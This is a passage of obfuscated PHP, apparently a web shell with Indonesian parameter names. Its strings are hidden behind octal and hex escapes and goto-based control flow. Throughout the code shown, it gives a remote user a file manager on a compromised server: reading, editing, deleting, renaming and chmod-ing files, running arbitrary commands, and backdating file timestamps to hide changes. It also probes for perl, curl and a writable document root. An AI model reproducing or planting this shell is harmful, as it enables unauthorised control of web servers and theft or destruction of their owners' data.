"\x72"; $g_71beeff9 = "\163" . "\160\x72\x69" . "\156\x74\146"; $y_6b9df6f = "\146\x69\154" . "\145\160\145\162" . "\155\x73"; $e_203916a2 = $a_e8b7be43($g_71beeff9("\45\x6f", $y_6b9df6f($i_367af3ad)), -4); return $e_203916a2; } goto o4Hyh; QpV1u: if (@$z_395285b("\57\165" . "\x73\162\x2f\x62" . "\x69\x6e" . "\57\x70\145" . "\162\154")) { echo "\74\146\x6f\x6e\164\40\x63\x6f\x6c\x6f\162\75\147\162\145\x65\156\x3e\x4f\x4e\74\x2f\x66\x6f\x6e\164\76"; } else { echo "\74\x66\157\x6e\164\40\143\x6f\154\x6f\162\75\x72\145\144\x3e\x4f\x46\x46\74\57\x66\x6f\156\x74\76"; } goto dTR4e; UrP8z: $y_65201836 = "\x31\x30" . "\62\x34"; goto Sutv3; s3aXY: if (@$s_64f81ca8("\x63\165" . "\x72\154" . "\137\x69\156" . "\x69\x74")) { echo "\74\146\157\156\x74\x20\143\157\x6c\157\x72\x3d\x67\162\145\x65\156\x3e\x4f\x4e\x3c\57\146\x6f\x6e\x74\76"; } else { echo "\74\146\x6f\x6e\x74\x20\143\157\154\157\x72\75\x72\145\x64\x3e\x4f\106\106\74\57\x66\157\156\x74\x3e"; } goto sOHOS; pZgRy: echo "\x3c\57\x74\162\76\x3c\x2f\164\144\76\x3c\x2f\x74\141\142\x6c\145\76\x3c\x2f\x74\x61\x62\x6c\x65\x3e"; goto p6t94; Ibsdz: $s_dc66b960 = "\147" . "\x65\x74\137" . "\x63\x75\x72\162" . "\x65\x6e\164" . "\x5f\x75\163" . "\145\x72"; goto J5lok; Gwd6r: $w_cecf26c5 = "\146" . "\x69\154\x65\137\147" . "\x65\x74\137\143" . "\157\156\164\x65\x6e" . "\x74\163"; goto q7TOb; Yk4fq: function crt() { $a_e8b7be43 = "\x69\x73" . "\137\x77" . "\x72\151" . "\164\x61\x62" . "\154\x65"; if ($a_e8b7be43($_SERVER["\x44\117" . "\x43\x55" . "\x4d\x45" . "\x4e\124" . "\137\x52\x4f" . "\x4f\x54"])) { return "\74\x66\157\x6e\x74\40\x63\157\154\157\162\x3d\x27\x67\x72\x65\145\x6e\47\x3e\127\162\x69\164\145\141\142\154\145\74\x2f\146\157\156\164\x3e"; } else { return "\74\146\157\156\x74\40\x63\157\154\x6f\162\x3d\x27\162\145\x64\x27\x3e\127\x72\x69\164\145\141\142\154\x65\x3c\x2f\x66\x6f\x6e\x74\76"; } } goto nbjx3; X75GJ: echo "\x55\163" . "\145\162\40\x3a\x20\x3c\x66\x6f\156\164\x20\x63\x6f\154\157\162\75\x27\43\x64\x66\65\47\76" . @$s_dc66b960() . "\46\156\x62\163\x70\x3b\74\x2f\x66\x6f\156\164\76\50\x20\x3c\x66\157\156\164\40\x63\x6f\x6c\157\162\75\x27\x23\144\146\x35\47\x3e" . @$w_42e594ee() . "\74\x2f\x66\157\156\164\x3e\x29\74\142\x72\76"; goto b2wMC; vnzdc: $g_c59361f8 = "\151\x6e" . "\x69\137\147" . "\x65\164"; goto fPh06; hJDJ0: echo "\127\x65" . "\142\40\123" . "\145\162\x76" . "\145\162\40\x3a\x20\74\x66\157\x6e\x74\40\143\157\x6c\x6f\x72\x3d\x27\43\x64\x66\65\x27\76" . $_SERVER["\123\105" . "\x52\126" . "\105\x52\x5f" . "\123\117\x46" . "\x54\x57\x41" . "\x52\x45"] . "\74\57\146\157\x6e\164\76\x3c\x62\162\x3e"; goto ZWo23; l3Ud9: $b_7dd970e = "\151" . "\163\x5f\144" . "\151\162"; goto Qm6Ql; sFCMz: echo tuls("\x42\x61\143\153", $_SERVER["\123\x43" . "\122\x49\x50" . "\x54\137\x4e" . "\101\x4d\x45"]); goto ybcze; xRUYU: if (isset($_GET["\x6c\x6f\x6b\x61\x73\x69\145"])) { echo "\74\164\162\x3e\74\x74\144\76\103\x75\x72\x72\145\156\x74\x20\x46\x69" . "\154\145\x20\72\x20" . $_GET["\x6c\x6f\153\141\x73\x69\145"]; echo "\x3c\57\164\x72\x3e\74\57\x74\x64\x3e\74\x2f\164\141\142\154\145\76\74\x62\x72\57\x3e"; echo "\x3c\160\162\x65\x3e" . htmlspecialchars($w_cecf26c5($_GET["\x6c\x6f\153\141\163\151\145"])) . "\74\57\160\x72\145\76"; author(); } elseif (isset($_POST["\154\x6f\x6b\x6e\x79\x61"]) && $_POST["\x70\151\154\151\x68"] == "\150\x61\x70\165\163") { if ($z_8db85ee2($_POST["\154\157\x6b\156\x79\x61"]) && $z_395285b($_POST["\x6c\x6f\153\156\171\141"])) { xrd($_POST["\x6c\157\153\156\x79\x61"]); if ($z_395285b($_POST["\154\x6f\153\156\171\141"])) { red("\x46\x61\x69" . "\x6c\145\144\40\x74\x6f\40\144\x65\154" . "\x65\164\x65\x20\104\151\x72" . "\145\x63" . "\164\x6f\162\171\x20\41"); } else { green("\x44\145\x6c" . "\145\x74\x65\40\104\151\162" . "\145\x63\x74" . "\157\162\x79\x20\123\x75\x63" . "\x63\x65\x73\x73\40\x21"); } } elseif ($h_bf8e3c60($_POST["\x6c\157\x6b\156\x79\x61"]) && $z_395285b($_POST["\154\157\x6b\156\171\141"])) { @$h_be53efd2($_POST["\x6c\x6f\153\156\x79\x61"]); if ($z_395285b($_POST["\x6c\157\x6b\156\171\x61"])) { red("\x46\x61\x69\x6c\x65\144\40\x74\x6f\40\x44\145\154\145\x74\145\40\x46\151" . "\x6c\145\40\41"); } else { green("\104\145" . "\x6c\x65" . "\x74\145\40\x46\x69" . "\154\x65\x20\x53\x75\143\x63" . "\145\163\163\x20\41"); } } else { red("\x46\x69" . "\x6c\145\x20\57\x20\104\x69\162" . "\x65\143\x74\157" . "\162\171\40\x6e\157\164\40\x46\x6f" . "\165\156\x64\40\41"); } } elseif (isset($_GET["\x70\151\154\151\150\141\x6e"]) && $_POST["\x70\x69\154\x69\x68"] == "\165\x62\x61\x68\x6d\157\x64") { if (!isset($_POST["\143\x65\x6d\x6f\x64"])) { if ($_POST["\x74\171" . "\x70\x65"] == "\146\x69" . "\x6c\145") { echo "\x3c\x63\145\x6e\x74\x65\162\76\106\x69" . "\154\x65\40\x3a\x20" . htmlspecialchars($_POST["\154\157\x6b\x6e\171\141"]) . "\x3c\142\x72\x3e"; } else { echo "\74\x63\x65\x6e\x74\x65\x72\x3e\x44" . "\151\162\x20\72\x20" . htmlspecialchars($_POST["\x6c\157\x6b\x6e\171\141"]) . "\74\x62\x72\x3e"; } echo "\x3c\146\157\x72\155\40\155\x65\x74\x68\157\144\75\42\160\x6f\x73\x74\42\76\xa\x9\11\x50\x65" . "\x72\155\151" . "\163\x73" . "\x69\157\156\x20\72\40\x3c\x69\156\160\x75\164\40\156\x61\155\x65\x3d\x22\x70\x65\162\155\42\40\x74\171\160\145\x3d\42\x74\x65\170\164\42\x20\143\154\x61\x73\163\x3d\x22\165\x70\x22\x20\163\x69\x7a\145\75\42\x34\x22\x20\x6d\141\x78\154\145\x6e\x67\x74\150\x3d\42\64\x22\x20\166\x61\154\x75\x65\75\x22" . $p_580282dc($p_38c266fd("\x25\x6f", $h_227bafe2($_POST["\154\157\x6b\x6e\x79\141"])), -4) . "\42\x20\x2f\x3e\xa\x9\x9\74\x69\x6e\160\x75\164\x20\164\x79\x70\145\x3d\x22\x68\151\144\x64\x65\x6e\42\40\x6e\141\x6d\145\75\x22\x6c\157\x6b\156\171\x61\x22\40\166\141\154\x75\145\75\x22" . $_POST["\x6c\157\x6b\x6e\171\x61"] . "\42\76\12\x9\x9\74\x69\156\x70\x75\x74\x20\164\171\x70\x65\75\42\x68\151\x64\144\145\156\x22\x20\x6e\x61\x6d\x65\75\42\x70\151\x6c\x69\150\42\x20\x76\141\x6c\165\x65\75\x22\x75\x62\141\x68\155\x6f\x64\x22\76"; if ($_POST["\164\171" . "\160\x65"] == "\x66\x69" . "\x6c\x65") { echo "\74\151\156\x70\165\x74\40\x74\x79\160\145\75\x22\150\151\144\144\x65\x6e\42\40\156\x61\x6d\x65\75\42\x74\171\160\x65\x22\x20\166\x61\154\165\x65\x3d\x22\146\x69" . "\x6c\145\42\76"; } else { echo "\74\151\x6e\x70\x75\x74\40\x74\171\160\x65\x3d\x22\x68\x69\x64\x64\x65\x6e\x22\40\x6e\x61\155\x65\75\42\x74\171\160\145\42\40\x76\x61\154\x75\145\x3d\x22\144\x69" . "\x72\x22\76"; } echo "\x3c\x69\x6e\160\x75\x74\40\164\171\160\x65\x3d\42\x73\x75\142\155\x69\164\42\x20\166\141\x6c\x75\145\x3d\42\x43\150\x61\x6e\147\x65\42\x20\156\x61\155\x65\75\42\143\x65\x6d\x6f\144\x22\x20\x63\x6c\141\x73\x73\75\42\165\x70\42\x20\x73\x74\171\x6c\x65\x3d\x22\143\165\x72\163\157\x72\x3a\40\x70\x6f\x69\156\164\x65\x72\73\x20\142\x6f\x72\144\145\162\55\x63\157\x6c\157\162\x3a\x20\x23\x66\146\x66\x22\57\76\12\x9\x9\x3c\57\146\x6f\162\x6d\76\x3c\142\162\76"; } else { $w_3c0a377e = @$w_2bf75021($_POST["\154\157\153\156\171\141"], $t_b8c5c82a($_POST["\x70\x65\162\x6d"])); if ($w_3c0a377e == true) { green("\x43\x68\141\156\x67\x65\x20\115\157\144\x20\123\x75\x63\x63\145\163\163\x20\41"); if ($_POST["\164\171" . "\x70\x65"] == "\146\x69" . "\154\x65") { echo "\74\x63\x65\156\x74\145\x72\x3e\106\x69" . "\154\145\x20\72\x20" . htmlspecialchars($_POST["\x6c\x6f\153\156\x79\141"]) . "\74\x62\162\x3e"; } else { echo "\x3c\143\145\156\164\x65\x72\76\x44" . "\x69\x72\x20\x3a\40" . htmlspecialchars($_POST["\154\x6f\153\x6e\x79\x61"]) . "\74\142\162\76"; } echo "\x3c\146\x6f\x72\x6d\40\155\x65\x74\x68\x6f\x64\75\x22\160\x6f\x73\x74\x22\76\12\x9\11\11\x50\145" . "\162\155\151" . "\x73\163" . "\x69\x6f\156\40\72\x20\x3c\x69\x6e\x70\165\x74\40\156\141\x6d\145\x3d\x22\x70\145\162\x6d\x22\x20\164\171\160\x65\75\x22\x74\x65\170\164\42\40\143\154\x61\x73\163\75\x22\165\x70\x22\40\163\x69\x7a\x65\x3d\42\64\42\x20\x6d\141\x78\x6c\145\156\147\164\x68\75\x22\64\x22\40\x76\x61\154\x75\x65\75\x22" . $p_580282dc($p_38c266fd("\45\157", $h_227bafe2($_POST["\154\157\153\x6e\171\x61"])), -4) . "\42\40\57\76\12\11\11\11\x3c\x69\x6e\x70\165\x74\40\x74\171\160\x65\75\42\150\151\x64\x64\145\156\42\x20\x6e\141\x6d\x65\75\42\154\x6f\x6b\156\171\141\42\40\166\x61\154\x75\x65\75\x22" . $_POST["\x6c\157\x6b\x6e\x79\141"] . "\42\76\12\11\11\11\74\151\x6e\160\165\164\x20\164\x79\x70\x65\x3d\x22\150\151\144\x64\x65\156\x22\x20\x6e\141\x6d\x65\75\x22\160\x69\x6c\151\150\x22\40\166\x61\x6c\165\x65\75\42\165\142\141\150\x6d\157\x64\x22\76"; if ($_POST["\164\x79" . "\x70\145"] == "\146\x69" . "\x6c\x65") { echo "\x3c\x69\x6e\x70\x75\164\x20\164\171\x70\x65\75\42\x68\x69\x64\144\145\156\42\40\156\141\x6d\145\x3d\x22\164\171\x70\x65\x22\40\166\141\x6c\165\145\75\x22\146\151" . "\x6c\145\42\x3e"; } else { echo "\74\x69\x6e\160\x75\164\40\x74\171\x70\x65\x3d\42\150\151\144\x64\145\x6e\x22\x20\x6e\141\155\145\x3d\x22\164\171\x70\145\x22\x20\x76\x61\154\165\145\75\42\x64\151" . "\x72\42\x3e"; } echo "\74\x69\156\x70\x75\164\40\164\x79\160\145\x3d\x22\163\x75\142\155\151\164\42\x20\x76\x61\154\x75\145\x3d\x22\x43\150\x61\x6e\x67\145\x22\40\x6e\x61\x6d\x65\x3d\x22\143\145\155\x6f\144\42\40\143\154\141\163\x73\x3d\x22\165\x70\42\40\x73\164\x79\154\145\x3d\x22\143\x75\x72\163\157\162\x3a\x20\x70\x6f\151\156\164\145\162\x3b\x20\x62\157\x72\x64\x65\x72\55\x63\x6f\154\157\x72\x3a\x20\x23\x66\146\x66\x22\x2f\x3e\12\11\x9\11\74\57\146\157\x72\155\x3e\74\142\x72\76"; } else { red("\x43\150\141\x6e\147\145\x20\115\x6f\x64\40\106\x61\151\x6c\x65\x64\x20\x21"); if ($_POST["\164\x79" . "\160\x65"] == "\x66\151" . "\x6c\x65") { echo "\74\x63\145\x6e\164\x65\162\x3e\106\151" . "\154\145\x20\x3a\40" . htmlspecialchars($_POST["\154\x6f\153\x6e\x79\x61"]) . "\x3c\142\162\76"; } else { echo "\x3c\143\x65\x6e\164\x65\162\76\x44" . "\x69\162\40\72\x20" . htmlspecialchars($_POST["\154\157\x6b\x6e\x79\x61"]) . "\x3c\x62\x72\x3e"; } echo "\x3c\146\157\162\155\x20\x6d\x65\164\x68\157\x64\75\42\x70\157\x73\x74\x22\x3e\xa\11\11\x9\x50\145" . "\162\x6d\x69" . "\x73\163" . "\x69\x6f\156\x20\x3a\40\74\151\x6e\x70\x75\164\40\x6e\x61\155\x65\x3d\x22\160\x65\x72\155\42\40\x74\x79\160\x65\x3d\42\x74\x65\x78\x74\42\x20\x63\x6c\x61\163\163\75\x22\165\x70\x22\40\163\151\172\x65\x3d\x22\x34\x22\x20\x6d\141\x78\154\145\x6e\147\x74\150\x3d\x22\64\x22\40\166\x61\x6c\165\x65\x3d\x22" . $p_580282dc($p_38c266fd("\x25\x6f", $h_227bafe2($_POST["\x6c\x6f\x6b\x6e\x79\141"])), -4) . "\42\40\x2f\x3e\xa\x9\x9\x9\74\151\156\x70\x75\164\x20\x74\x79\x70\145\75\42\x68\151\144\x64\x65\156\x22\40\156\141\x6d\x65\x3d\x22\154\x6f\153\x6e\x79\141\x22\40\x76\x61\154\165\x65\75\42" . $_POST["\x6c\x6f\x6b\156\x79\141"] . "\x22\x3e\xa\x9\11\11\x3c\151\156\x70\165\164\40\x74\x79\x70\145\75\42\150\x69\144\x64\145\x6e\x22\x20\156\x61\x6d\x65\x3d\42\160\x69\154\x69\150\42\x20\166\x61\154\165\145\75\x22\165\142\141\x68\x6d\x6f\144\x22\x3e"; if ($_POST["\x74\x79" . "\160\x65"] == "\146\x69" . "\x6c\x65") { echo "\74\x69\x6e\160\165\164\x20\164\171\160\145\x3d\x22\x68\151\144\144\145\156\x22\x20\x6e\141\155\145\75\x22\164\171\x70\x65\42\40\166\x61\154\x75\145\x3d\x22\146\151" . "\x6c\145\42\76"; } else { echo "\74\151\x6e\x70\x75\x74\40\x74\171\x70\145\75\x22\x68\151\x64\144\x65\156\x22\x20\x6e\141\x6d\x65\75\x22\x74\x79\x70\145\x22\40\x76\141\x6c\165\x65\x3d\42\x64\151" . "\x72\x22\76"; } echo "\74\x69\x6e\x70\165\x74\40\x74\171\x70\x65\75\x22\163\165\142\x6d\151\x74\42\x20\166\141\154\165\145\x3d\x22\103\150\x61\x6e\x67\x65\x22\40\156\x61\x6d\x65\x3d\42\143\145\155\x6f\144\42\x20\143\x6c\x61\x73\x73\75\42\165\160\x22\40\163\x74\171\x6c\145\75\x22\x63\165\162\x73\157\162\x3a\x20\x70\x6f\x69\156\x74\145\162\73\40\142\x6f\162\x64\145\162\55\143\157\x6c\157\x72\72\40\x23\146\x66\146\x22\x2f\76\xa\x9\11\11\74\x2f\x66\157\x72\x6d\76\74\142\x72\x3e"; } } } elseif (isset($_POST["\154\157\x6b\x6e\171\141"]) && $_POST["\160\151\154\x69\150"] == "\165\x62\x61\x68\156\141\155\141") { if (isset($_POST["\147\141\156\x74\151\x6e"])) { $p_78e66890 = $_GET["\x6c\157\x6b\x6e\171\x61"] . "\57" . $_POST["\156\145\167\156\141\x6d\x65"]; $l_f44b5d87 = "\x72\x65" . "\x6e\x61" . "\155\145"; if (@$l_f44b5d87($_POST["\x6c\157\153\x6e\171\x61"], $p_78e66890) === true) { green("\103\150\x61\x6e\x67\145\40\116\141\x6d\x65\x20\123\165\143\x63\145\163\x73"); if ($_POST["\164\x79" . "\160\145"] == "\146\151" . "\154\x65") { echo "\x3c\x63\x65\156\x74\x65\x72\76\x46\x69" . "\154\145\x20\72\40" . htmlspecialchars($_POST["\154\x6f\x6b\x6e\171\x61"]) . "\74\142\x72\x3e"; } else { echo "\74\143\145\x6e\x74\145\x72\x3e\104" . "\151\162\40\x3a\x20" . htmlspecialchars($_POST["\x6c\157\x6b\156\171\x61"]) . "\74\x62\162\x3e"; } echo "\x3c\x66\x6f\x72\155\40\155\x65\164\x68\x6f\x64\75\x22\x70\x6f\163\x74\42\76\12\11\11\11\116\x65\x77\x20\x4e\x61\x6d\145\40\x3a\40\74\151\156\x70\165\x74\x20\156\x61\x6d\x65\x3d\42\x6e\x65\167\x6e\x61\155\145\x22\x20\164\x79\x70\x65\x3d\42\x74\145\x78\164\x22\40\x63\x6c\141\163\x73\x3d\42\x75\160\x22\40\163\x69\172\x65\x3d\x22\62\x30\x22\x20\x76\x61\154\165\x65\x3d\42" . htmlspecialchars($_POST["\x6e\x65\x77\156\x61\155\145"]) . "\42\40\57\76\12\x9\x9\11\x3c\151\156\160\x75\x74\40\164\171\x70\145\x3d\42\150\x69\x64\144\x65\156\42\40\x6e\x61\x6d\x65\x3d\x22\154\x6f\x6b\156\171\x61\x22\x20\x76\141\x6c\x75\145\x3d\42" . $_POST["\156\x65\167\x6e\x61\x6d\x65"] . "\42\76\12\x9\11\11\74\x69\x6e\x70\x75\164\x20\x74\171\x70\x65\75\x22\150\151\144\x64\145\x6e\x22\40\156\141\x6d\145\x3d\42\x70\x69\x6c\151\150\42\40\x76\x61\x6c\x75\145\x3d\42\165\x62\x61\150\x6e\141\155\141\x22\76"; if ($_POST["\164\171" . "\x70\145"] == "\x66\151" . "\x6c\145") { echo "\74\151\156\x70\165\x74\40\164\171\x70\x65\75\x22\x68\x69\144\x64\145\x6e\x22\40\x6e\141\x6d\x65\75\x22\164\x79\160\x65\x22\40\x76\x61\154\x75\145\75\42\146\x69" . "\154\x65\42\76"; } else { echo "\x3c\151\156\x70\165\x74\x20\164\171\x70\x65\75\x22\150\x69\x64\144\145\156\x22\x20\156\x61\x6d\x65\75\x22\x74\x79\x70\145\x22\x20\166\141\x6c\165\x65\x3d\42\144\151" . "\x72\x22\76"; } echo "\x3c\x69\x6e\x70\165\164\x20\x74\x79\x70\145\75\x22\163\x75\142\x6d\x69\164\42\x20\166\141\x6c\x75\145\75\42\x43\150\x61\x6e\147\x65\x22\x20\156\x61\155\145\x3d\42\x67\x61\x6e\x74\x69\156\42\x20\x63\154\x61\x73\x73\75\x22\165\160\42\x20\x73\164\x79\x6c\145\75\42\143\x75\x72\163\x6f\x72\72\40\160\157\151\x6e\164\145\x72\x3b\x20\x62\x6f\162\144\x65\162\x2d\143\x6f\x6c\157\162\72\40\x23\146\146\146\42\x2f\76\12\x9\11\x9\74\57\x66\x6f\162\x6d\x3e\74\142\162\76"; } else { red("\103\150\x61\156\147\x65\40\x4e\141\x6d\145\40\106\141\151\154\145\x64"); } } else { if ($_POST["\x74\171" . "\160\x65"] == "\146\151" . "\154\145") { echo "\74\143\145\156\164\145\162\76\106\151" . "\x6c\x65\40\x3a\x20" . htmlspecialchars($_POST["\x6c\x6f\x6b\x6e\171\x61"]) . "\x3c\142\x72\x3e"; } else { echo "\74\143\145\x6e\164\145\162\x3e\104" . "\151\x72\x20\x3a\40" . htmlspecialchars($_POST["\154\157\153\x6e\171\x61"]) . "\74\142\x72\x3e"; } echo "\x3c\146\157\x72\x6d\x20\155\145\164\x68\157\144\75\x22\160\157\x73\164\x22\76\12\11\11\116\145\167\40\116\x61\x6d\x65\x20\72\40\x3c\151\156\160\165\164\x20\156\141\155\145\75\x22\x6e\x65\x77\156\141\155\x65\x22\40\x74\x79\160\145\75\42\x74\x65\x78\164\42\40\x63\154\141\x73\163\75\42\x75\x70\x22\x20\x73\x69\x7a\145\75\42\x32\x30\x22\x20\x76\141\x6c\165\145\75\42" . htmlspecialchars($x_1a0aa036($_POST["\154\x6f\153\x6e\171\x61"])) . "\42\40\x2f\76\12\11\11\74\x69\156\x70\x75\x74\x20\x74\x79\160\x65\x3d\x22\x68\x69\x64\144\x65\156\42\x20\156\x61\x6d\x65\75\42\154\x6f\153\x6e\171\x61\x22\x20\x76\141\x6c\165\x65\75\x22" . $_POST["\154\x6f\153\156\x79\141"] . "\x22\x3e\xa\11\11\x3c\151\156\x70\165\164\40\164\171\x70\145\75\42\x68\151\x64\144\x65\156\x22\x20\156\x61\x6d\x65\75\42\x70\x69\154\151\x68\x22\40\x76\141\x6c\x75\x65\x3d\42\165\142\x61\x68\156\141\x6d\x61\42\x3e"; if ($_POST["\x74\171" . "\x70\145"] == "\x66\x69" . "\154\x65") { echo "\74\151\x6e\160\x75\x74\40\164\171\x70\145\x3d\42\150\151\144\144\x65\156\x22\x20\156\x61\155\145\x3d\42\164\x79\160\145\42\40\x76\141\154\x75\145\x3d\42\x66\x69" . "\x6c\x65\x22\x3e"; } else { echo "\74\x69\156\160\x75\164\x20\x74\171\160\x65\75\x22\150\x69\x64\x64\x65\156\42\x20\156\141\x6d\145\x3d\42\164\171\x70\145\42\40\166\x61\154\x75\145\75\x22\144\151" . "\x72\42\76"; } echo "\74\x69\156\x70\x75\164\40\x74\x79\x70\x65\x3d\x22\163\x75\x62\155\x69\x74\x22\40\x76\x61\154\x75\145\x3d\42\103\x68\141\x6e\147\145\x22\x20\156\x61\155\145\75\x22\x67\x61\x6e\x74\151\156\x22\x20\143\x6c\x61\x73\163\x3d\42\x75\x70\42\x20\x73\x74\x79\x6c\x65\75\42\x63\165\x72\x73\x6f\x72\72\40\160\157\x69\x6e\164\x65\162\73\40\142\x6f\x72\x64\145\162\x2d\x63\157\154\157\162\72\x20\43\x66\x66\x66\42\57\x3e\xa\x9\11\x3c\x2f\x66\157\x72\155\76\x3c\x62\162\x3e"; } } elseif (isset($_GET["\x70\x69\154\151\150\141\x6e"]) && $_POST["\160\x69\154\x69\150"] == "\145\x64\151\164") { if (isset($_POST["\147\141\163\x65\x64\151\164"])) { $t_8135de1a = @$p_cb4ca253($_POST["\154\157\x6b\x6e\171\x61"], $_POST["\163\x72\143"]); if ($w_cecf26c5($_POST["\x6c\157\x6b\156\171\141"]) == $_POST["\x73\162\x63"]) { green("\x45\144" . "\x69\x74\40\106\151" . "\154\145\x20\123\x75\143" . "\143\x65" . "\x73\163\x20\x21"); } else { red("\x45\x64" . "\x69\164\40\106\151" . "\154\145\40\106\141\151" . "\x6c\145\x64\40\41"); } } echo "\74\143\x65\x6e\164\x65\x72\x3e\106\x69" . "\x6c\x65\x20\x3a\40" . htmlspecialchars($_POST["\x6c\x6f\153\x6e\171\141"]) . "\74\x62\162\76\74\142\x72\x3e"; echo "\x3c\x66\157\162\x6d\x20\155\145\164\x68\x6f\144\x3d\42\160\157\x73\164\x22\x3e\xa\11\x3c\164\x65\170\164\141\x72\145\141\40\x63\157\x6c\x73\x3d\x38\60\x20\162\x6f\x77\x73\x3d\62\60\x20\156\141\x6d\x65\x3d\42\163\x72\143\42\x3e" . htmlspecialchars($w_cecf26c5($_POST["\x6c\157\153\x6e\x79\x61"])) . "\74\x2f\164\145\x78\164\x61\x72\x65\x61\x3e\x3c\x62\162\x3e\xa\11\74\151\156\160\165\x74\x20\x74\171\160\145\x3d\x22\150\x69\144\x64\145\x6e\x22\40\x6e\141\x6d\x65\75\x22\154\157\153\x6e\x79\x61\x22\40\x76\141\x6c\165\x65\x3d\x22" . $_POST["\154\x6f\x6b\156\x79\141"] . "\42\x3e\xa\x9\x3c\x69\x6e\160\165\164\x20\x74\171\160\145\x3d\x22\x68\151\144\144\x65\156\42\x20\x6e\141\155\x65\x3d\42\160\151\x6c\151\x68\x22\40\166\141\154\165\x65\75\x22\x65\144" . "\x69\x74\42\76\xa\x9\x3c\x69\156\160\x75\164\40\x74\171\x70\145\x3d\x22\x73\x75\142\x6d\x69\x74\x22\x20\x76\x61\x6c\165\145\x3d\x22\x45\144" . "\151\164\x20\106\x69" . "\x6c\x65\42\x20\156\x61\x6d\x65\75\42\147\x61\163\145\x64\x69\164\x22\x20\x63\x6c\141\163\163\75\x22\x75\x70\42\40\x73\x74\x79\154\145\x3d\42\143\x75\x72\x73\157\x72\x3a\x20\160\157\151\156\164\x65\162\x3b\x20\x62\157\x72\144\x65\x72\x2d\143\157\x6c\157\162\72\40\43\x66\146\x66\x22\x2f\76\xa\x9\74\57\x66\x6f\162\155\76\74\x62\162\x3e"; } elseif (isset($_POST["\153\157\155\x65\156\x64\163"])) { if (isset($_POST["\x6b\157\155\145\x6e\x64"])) { if (isset($_GET["\x6c\x6f\153\156\x79\x61"])) { $r_52f18e84 = $_GET["\154\157\x6b\156\171\141"]; } else { $r_52f18e84 = $e_3268d84c(); } $x_f4d3bd76 = "\x6b\x6f" . "\155\x65" . "\x6e\144"; echo $x_f4d3bd76($_POST["\153\157\x6d\145\x6e\x64"], $r_52f18e84); die; } } elseif (isset($_POST["\154\157\x6b\x6e\x79\141"]) && $_POST["\x70\151\x6c\151\x68"] == "\x75\x62\x61\150\164\x61\156\x67\147\x61\154") { if (isset($_POST["\164\x61\x6e\x67\x67\141\154\145"])) { $k_b5cd06cc = "\163\164" . "\x72\164\x6f\x74" . "\151\x6d\145"; $n_a100c890 = "\x74" . "\x6f\165" . "\143\x68"; $l_62611df4 = $k_b5cd06cc($_POST["\164\141\156\x67\x67\141\x6c"]); if (@$n_a100c890($_POST["\x6c\x6f\x6b\156\x79\x61"], $l_62611df4) === true) { green("\103\x68\x61\x6e\x67\145\x20\x44\141" . "\x74\145\40\123\165\x63\x63" . "\145\x73\163\40\41"); $r_ff7d9029 = "\144\x61" . "\x74\x65"; $b_cb4bcf97 = "\x66\x69" . "\x6c\145" . "\x6d\164\x69" . "\155\x65"; $g_71beeff9 = $r_ff7d9029("\x64\x20\x46\40\131\40\x48\x3a\151\72\163", $b_cb4bcf97($_POST["\x6c\x6f\153\156\171\x61"])); if ($_POST["\164\171" . "\x70\145"] == "\x66\151" . "\x6c\x65") { echo "\74\143\x65\x6e\x74\x65\x72\x3e\106\x69" . "\154\x65\x20\72\x20" . htmlspecialchars($_POST["\x6c\x6f\x6b\156\x79\141"]) . "\74\142\x72\x3e"; } else { echo "\74\x63\145\156\x74\145\162\x3e\104" . "\151\x72\x20\x3a\x20" . htmlspecialchars($_POST["\154\x6f\153\156\x79\x61"]) . "\74\142\162\76"; } echo "\74\146\x6f\162\x6d\40\x6d\x65\x74\150\x6f\x64\x3d\x22\160\157\163\164\x22\x3e\xa\11\x9\x9\116\x65\167\40\x44\141" . "\164\x65\40\x3a\x20\74\x69\x6e\160\165\164\40\156\x61\x6d\x65\75\42\164\x61\156\147\x67\141\x6c\x22\40\x74\x79\x70\x65\x3d\42\164\x65\170\164\42\x20\x63\x6c\x61\163\x73\75\42\x75\160\x22\40\163\x69\172\x65\x3d\42\62\60\x22\x20\x76\141\x6c\165\145\x3d\x22" . $g_71beeff9 . "\42\x20\x2f\x3e\12\x9\11\x9\74\151\156\160\x75\x74\x20\164\171\160\x65\75\42\x68\x69\x64\x64\145\x6e\x22\x20\x6e\141\155\145\x3d\x22\x6c\157\x6b\x6e\x79\x61\x22\40\166\x61\154\x75\145\x3d\42" . $_POST["\x6c\157\x6b\x6e\171\141"] . "\42\76\12\11\x9\x9\74\151\x6e\160\165\164\x20\164\x79\x70\x65\75\x22\x68\x69\144\x64\145\156\42\40\156\141\x6d\145\75\x22\160\x69\154\x69\x68\42\x20\x76\x61\154\165\145\x3d\42\x75\142\141\150\x74\x61\156\x67\x67\x61\154\42\76"; if ($_POST["\164\x79" . "\160\145"] == "\x66\x69" . "\154\x65") { echo "\74\151\x6e\160\165\164\40\x74\x79\160\x65\75\42\150\x69\x64\144\145\156\42\40\156\x61\x6d\x65\75\x22\164\x79\x70\145\x22\40\x76\141\x6c\165\x65\75\42\x66\151" . "\x6c\145\x22\76"; } else { echo "\74\x69\x6e\x70\165\x74\x20\x74\x79\x70\145\75\42\x68\x69\144\144\145\x6e\x22\x20\x6e\141\x6d\x65\x3d\42\x74\171\160\x65\x22\40\x76\141\x6c\x75\x65\x3d\42\144\151" . "\162\x22\x3e"; } echo "\x3c\151\x6e\x70\x75\164\x20\x74\x79\160\145\75\42\x73\x75\x62\x6d\151\164\42\40\166\141\x6c\x75\x65\x3d\x22\103\150\x61\156\147\x65\x22\x20\156\x61\155\145\x3d\42\164\141\x6e\147\147\141\x6c\x65\x22\x20\143\154\141\x73\163\75\x22\x75\160\x22\x20\x73\164\171\154\x65\x3d\42\143\165\x72\163\157\x72\x3a\x20\x70\x6f\151\156\164\x65\x72\73\x20\142\157\162\144\145\162\55\143\157\x6c\x6f\162\x3a\40\43\x66\x66\146\x22\57\x3e\xa\x9\x9\x9\74\x2f\146\157\x72\155\x3e\74\x62\162\x3e"; } else { red("\x46\x61\x69" . "\154\145\144\40\164\x6f\40\x43\150\141" . "\156\x67\145\x20\x44\141" . "\164\x65\40\x21"); } } else { $r_ff7d9029 = "\144\x61" . "\x74\x65"; $b_cb4bcf97 = "\146\151" . "\154\x65" . "\155\164\151" . "\155\x65"; $g_71beeff9 = $r_ff7d9029("\x64\40\106\40\131\40\110\72\x69\72\163", $b_cb4bcf97($_POST["\x6c\157\x6b\x6e\x79\x61"])); if ($_POST["\164\x79" . "\x70\x65"] == "\146\x69" . "\x6c\x65") { echo "\x3c\x63\x65\x6e\164\x65\162\76\x46\x69" . "\x6c\x65\40\x3a\x20" . htmlspecialchars($_POST["\154\x6f\153\156\171\141"]) . 